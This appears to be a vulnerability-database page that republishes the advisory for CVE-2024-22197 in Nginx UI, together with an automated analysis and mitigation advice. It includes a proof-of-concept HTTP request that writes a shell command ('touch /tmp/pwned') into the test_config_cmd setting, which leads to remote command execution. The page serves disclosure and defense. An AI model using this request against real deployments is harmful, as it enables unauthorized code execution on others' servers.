Nginx UI: Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269) (CVE-2024-22197)
### Summary The `Home > Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13). ```go func InitPrivateRouter(r *gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... } ``` The [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The `SaveSettings` function is defined as follows: ```go func SaveSettings(c *gin.Context) { var json struct { ... Nginx settings.Nginx `json:"nginx"` ... } ... settings.NginxSettings = json.Nginx ... err := settings.Save() ... } ``` The `test_config_cmd` setting is stored as [`settings.NginxSettings.TestConfigCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/nginx.go#L8). When the application wants to test the nginx configuration, it uses the [`TestConf`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L26) function: ```go func TestConf() (out string) { if settings.NginxSettings.TestConfigCmd != "" { out = execShell(settings.NginxSettings.TestConfigCmd) return } out = execCommand("nginx", "-t") return } ``` The [`execShell`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L8) function is defined as follows: ```go func execShell(cmd string) (out string) { bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput() out = string(bytes) if err != nil { out += " " + err.Error() } return } ``` Where the `cmd` argument is user-controlled and is passed to `/bin/sh -c`. This issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/). #### Proof of Concept > Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`. 1. Login as a newly created user. 2. Send the following request to modify the settings with `"test_config_cmd":"touch /tmp/pwned"`. ```http POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 528 Authorization: <<JWT TOKEN> Content-Type: application/json {"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}} ``` 3. Add a new site in `Home > Manage Sites > Add Site` with random data. The previously-modified `test_config_cmd` setting will be used [when the application tries to test the nginx configuration](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/sites/domain.go#L256). 4. Verify that `/tmp/pwned` exists. ``` $ docker exec -it $(docker ps -q) ls -al /tmp -rw-r--r-- 1 root root 0 Dec 14 21:10 pwned ``` ### Impact This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.
AI Analysis
Technical Summary
The Nginx-UI application exposes an API endpoint (/api/settings) protected only by authentication but lacking authorization role checks. Authenticated users can modify nginx-related command settings including test_config_cmd, reload_cmd, and restart_cmd. The test_config_cmd is executed by the application using /bin/sh -c, allowing arbitrary command execution. This leads to authenticated remote code execution. The vulnerability stems from the SaveSettings function accepting user-controlled input for these commands and executing them without validation or authorization restrictions. Proof of concept demonstrates creating a file /tmp/pwned by setting test_config_cmd to 'touch /tmp/pwned'.
Potential Impact
This vulnerability allows any authenticated user to execute arbitrary shell commands on the host system with the privileges of the application process. This can lead to remote code execution, privilege escalation, and potential information disclosure depending on the environment and application privileges.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, restrict access to the application to trusted users only. Monitor for updates from the vendor or project repository for an official fix. Consider implementing additional authorization checks on the settings modification API to restrict which users can change critical command settings.
Nginx UI: Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269) (CVE-2024-22197)
Description
### Summary The `Home > Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13). ```go func InitPrivateRouter(r *gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... } ``` The [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The `SaveSettings` function is defined as follows: ```go func SaveSettings(c *gin.Context) { var json struct { ... Nginx settings.Nginx `json:"nginx"` ... } ... settings.NginxSettings = json.Nginx ... err := settings.Save() ... } ``` The `test_config_cmd` setting is stored as [`settings.NginxSettings.TestConfigCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/nginx.go#L8). When the application wants to test the nginx configuration, it uses the [`TestConf`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L26) function: ```go func TestConf() (out string) { if settings.NginxSettings.TestConfigCmd != "" { out = execShell(settings.NginxSettings.TestConfigCmd) return } out = execCommand("nginx", "-t") return } ``` The [`execShell`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L8) function is defined as follows: ```go func execShell(cmd string) (out string) { bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput() out = string(bytes) if err != nil { out += " " + err.Error() } return } ``` Where the `cmd` argument is user-controlled and is passed to `/bin/sh -c`. This issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/). #### Proof of Concept > Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`. 1. Login as a newly created user. 2. Send the following request to modify the settings with `"test_config_cmd":"touch /tmp/pwned"`. ```http POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 528 Authorization: <<JWT TOKEN> Content-Type: application/json {"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}} ``` 3. Add a new site in `Home > Manage Sites > Add Site` with random data. The previously-modified `test_config_cmd` setting will be used [when the application tries to test the nginx configuration](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/sites/domain.go#L256). 4. Verify that `/tmp/pwned` exists. ``` $ docker exec -it $(docker ps -q) ls -al /tmp -rw-r--r-- 1 root root 0 Dec 14 21:10 pwned ``` ### Impact This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.
CVSS v3.1
Score 7.7high
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The Nginx-UI application exposes an API endpoint (/api/settings) protected only by authentication but lacking authorization role checks. Authenticated users can modify nginx-related command settings including test_config_cmd, reload_cmd, and restart_cmd. The test_config_cmd is executed by the application using /bin/sh -c, allowing arbitrary command execution. This leads to authenticated remote code execution. The vulnerability stems from the SaveSettings function accepting user-controlled input for these commands and executing them without validation or authorization restrictions. Proof of concept demonstrates creating a file /tmp/pwned by setting test_config_cmd to 'touch /tmp/pwned'.
Potential Impact
This vulnerability allows any authenticated user to execute arbitrary shell commands on the host system with the privileges of the application process. This can lead to remote code execution, privilege escalation, and potential information disclosure depending on the environment and application privileges.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, restrict access to the application to trusted users only. Monitor for updates from the vendor or project repository for an official fix. Consider implementing additional authorization checks on the settings modification API to restrict which users can change critical command settings.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-pxmr-q2x3-9x9m
- Osv Schema Version
- 1.4.0
- Aliases
- ["CVE-2024-22197"]
- Ecosystems
- ["Go"]
- Database Specific Severity
- HIGH
- Cvss Version
- 3.1
Threat ID: 6a4c342027e9c797195f992c
Added to database: 07/06/2026, 23:02:56 UTC
Last enriched: 07/06/2026, 23:51:18 UTC
Last updated: 09/10/2026, 19:36:47 UTC
Views: 37
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.